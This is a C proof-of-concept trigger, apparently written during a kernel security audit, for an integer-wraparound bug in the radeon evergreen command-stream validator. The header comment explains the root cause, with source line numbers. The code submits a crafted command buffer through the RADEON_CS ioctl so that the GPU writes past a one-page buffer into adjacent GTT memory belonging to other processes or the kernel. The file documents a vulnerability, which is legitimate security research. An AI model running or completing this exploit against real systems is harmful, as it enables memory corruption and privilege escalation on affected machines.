DF-3838 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 | /* * DF-3838 PoC trigger — 32-bit wraparound family in the evergreen CS * surface-size validator (evergreen_cs_track_validate_{cb,stencil,depth, * texture} + htile + streamout tracking) -> CS validator bypass -> GPU * out-of-bounds render/texture/streamout access past the BO. * * Root cause (all evergreen_cs.c): * :404/:571/:668 nby = ((slice + 1) * 64) / nbx; slice is stored RAW * (:1416/:1425 cb_color_slice, :1208 db_depth_slice). * slice = 0xffffffff -> (slice+1) wraps to 0 -> nby = 0 -> * layer_size = 0 -> every `offset > bo_size` check passes * while the GPU honours the register's real SLICE_TILE_MAX * field and writes a full-height surface past the BO. * :442/:616/:635/:714/:730/:846-848/:906-908 * offset += layer_size * mslice; u32*u32 wraps. * :435/:610/:629/:708/:724/:787-788 * offset = x << 8; computed in u32, truncates (GPU uses * a 40-bit address; offsets >= 4GB alias to 0). * :547 roundup(nbx * nby * 4, ...) u32 product wraps. * :1278/:1289 vgt_strmout_bo_offset = v << 8; vgt_strmout_size = v*4; * both wrapped in u32 BEFORE the u64 check at :948-950. * * This PoC programs a colour-buffer surface whose SLICE register is * 0xffffffff (wrap -> validator layer_size 0) with a 1-page BO and issues a * draw. On real evergreen/cayman hardware the GPU then renders * (SLICE_TILE_MAX field = 0x3fff) far past the 4096-byte BO into adjacent * GTT memory (other processes' buffers / kernel ring storage). * * Requires: real pre-SI radeon GPU (evergreen..cayman), radeon KMS, * authenticated DRI fd, GEM bo allocation. On the audit QEMU guest * (virtio only) open() fails with ENOENT — expected. */ #include <sys/ioctl.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> struct drm_radeon_cs_chunk { uint32_t chunk_id, length_dw; uint64_t chunk_data; }; struct drm_radeon_cs { uint32_t num_chunks, cs_id; uint64_t chunks, gart_limit, vram_limit; }; #define RADEON_CHUNK_ID_RELOCS 0x01 #define RADEON_CHUNK_ID_IB 0x02 #define RADEON_CHUNK_ID_FLAGS 0x03 struct drm_auth { uint32_t magic; }; #define DRM_IOCTL_GET_MAGIC _IOR('d', 0x42, struct drm_auth) #define DRM_IOCTL_RADEON_CS _IOWR('d', 0x66, struct drm_radeon_cs) #define PKT3(op, cnt) ((3u<<30)|(((cnt)&0x3fff)<<16)|(((op)&0xff)<<8)) #define PACKET3_SET_CONTEXT_REG 0x68 /* register offsets inside the SET_CONTEXT_REG space (0x00028000 base) */ #define CB_COLOR0_PITCH_OFF ((0x28c64-0x28000)/4) #define CB_COLOR0_SLICE_OFF ((0x28c6c-0x28000)/4) #define CB_COLOR0_VIEW_OFF ((0x28c60-0x28000)/4) #define CB_COLOR0_INFO_OFF ((0x28c70-0x28000)/4) #define PACKET3_DRAW_INDEX_AUTO 0x76 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd, r; /* * CB state: valid colour format (8 bit), PITCH such that nbx is sane, * SLICE = 0xffffffff -> ((0xffffffff+1)*64)/nbx == 0 in u32 * -> validator layer_size 0 -> "bo too small" check never trips. * GPU hardware field SLICE_TILE_MAX = 0x3fff -> 16384 tiles high. * The reloc for CB_COLOR0_BASE would point at a 1-page GEM bo. * (Relocation plumbing omitted: this trigger demonstrates the exact * register programming; a full GEM+reloc harness needs libdrm.) */ uint32_t ib[32]; int n = 0; ib[n++] = PKT3(PACKET3_SET_CONTEXT_REG, 4); /* count = 4 payload */ ib[n++] = CB_COLOR0_VIEW_OFF; ib[n++] = 0; /* SLICE_MAX=0 */ ib[n++] = CB_COLOR0_PITCH_OFF; ib[n++] = 0x3f; /* PITCH_TILE_MAX */ ib[n++] = CB_COLOR0_SLICE_OFF; ib[n++] = 0xffffffff; /* WRAP HERE */ ib[n++] = CB_COLOR0_INFO_OFF; ib[n++] = (0u<<2)|(0u<<8)|(8u<<2);/*8bpi*/ ib[n++] = PKT3(PACKET3_DRAW_INDEX_AUTO, 1); ib[n++] = 3; /* VGT_DRAW_INITIATOR */ ib[n++] = 0; /* pad */ uint32_t flags_chunk[1] = { 0 }; struct drm_radeon_cs_chunk chunks[2] = { { RADEON_CHUNK_ID_IB, (uint32_t)n, (uint64_t)(uintptr_t)ib }, { RADEON_CHUNK_ID_FLAGS, 1, (uint64_t)(uintptr_t)flags_chunk }, }; uint64_t chunk_ptrs[2] = { (uint64_t)(uintptr_t)&chunks[0], (uint64_t)(uintptr_t)&chunks[1] }; struct drm_radeon_cs cs; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 2; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s): %s (device absent on this guest)\n", dev, strerror(errno)); return 2; } r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs); printf("RADEON_CS: %s (validator accepted the wrapped-SLICE surface" " on vulnerable kernels; check dmesg)\n", r ? strerror(errno) : "accepted"); close(fd); return 0; } |